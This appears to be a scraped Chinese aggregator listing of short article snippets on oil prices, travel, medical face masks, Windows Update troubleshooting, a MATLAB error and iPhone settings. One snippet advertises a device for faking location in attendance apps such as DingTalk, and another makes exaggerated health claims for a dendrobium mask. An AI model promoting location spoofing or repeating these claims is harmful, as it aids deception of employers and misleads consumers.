    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/4/26 19:03:37
  18. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/4/29 20:46:55
  19. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/4/30 22:21:04
  20. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/5/1 4:32:01
  21. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/4/27 23:24:42
  22. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/4/28 5:48:52
  23. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/4/30 9:42:22
  24. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/5/2 9:07:46
  25. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/4/30 9:42:49
  26. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  27. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  28. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  29. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  30. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  31. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  32. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  33. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  34. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  35. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  36. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  37. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  38. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  39. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  40. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  41. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  42. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  43. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  44. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  45. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57